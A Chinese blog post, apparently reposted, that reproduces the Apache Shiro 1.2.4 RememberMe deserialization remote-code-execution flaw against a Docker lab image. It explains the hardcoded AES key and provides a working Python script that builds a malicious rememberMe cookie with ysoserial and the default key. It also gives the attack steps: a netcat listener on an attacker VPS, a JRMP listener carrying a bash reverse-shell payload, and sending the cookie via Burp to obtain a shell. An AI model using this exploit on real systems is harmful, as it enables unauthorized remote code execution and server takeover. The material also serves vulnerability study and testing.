zoukankan      html  css  js  c++  java
  • Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

    影响版本

    Apache Shiro <= 1.2.4

    产生原因

    shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化
    然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

    payload 构造

    前16字节的密钥-->后面加入序列化参数-->AES加密-->base64编码-->发送cookie

    • shiro.py
    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
    print "rememberMe={0}".format(payload.decode())

    使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)

    python shiro.py vpsip:1099

    环境搭建

    这里依旧使用docker进行漏洞复现

    1. 拉取镜像

    docker pull medicean/vulapps:s_shiro_1

    1. 启动环境

    docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
    8081 代表环境运行在宿主机的8081端口

    1. 进入容器环境

    docker exec -it ID /bin/bash 进入容器

    1. 访问 web 环境(http://ip:8081/login.jsp)并登陆,登陆时勾选remember me
       
      成功登录后访问任意url并抓包,查看到 cookie 中的 remember me 参数
    2.  

    漏洞复现

    1. VPS 执行监听反弹 shell 的命令

    nc -lvp 7878

    1. 使用 VPS 监控一个JRMP端口

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash 一句话反弹shell"
    ( 反弹 shell 需要进行java base64 编码) 

    1. 将生成的payload通过burp进行发送


       
    2. 此时可看到已经收到反弹过来的 shell


       

    参考链接:
    https://blog.csdn.net/three_feng/article/details/52189559
    http://www.db-sec.com/2019/06/apache-shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/



    作者:鸡翅儿
    链接:https://www.jianshu.com/p/0007eafd1f92
    来源:简书
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
  • 相关阅读:
    一些基本数据类型问题
    File创建
    zip解压文件java
    Arrays 的copyOf()
    浏览器客户端-自定义服务端
    TCP并发复制上传文件
    TCP传输过程复制文件
    TCP通讯
    TCP通讯
    css3 animation
  • 原文地址:https://www.cnblogs.com/nul1/p/12082271.html
Copyright © 2011-2022 走看看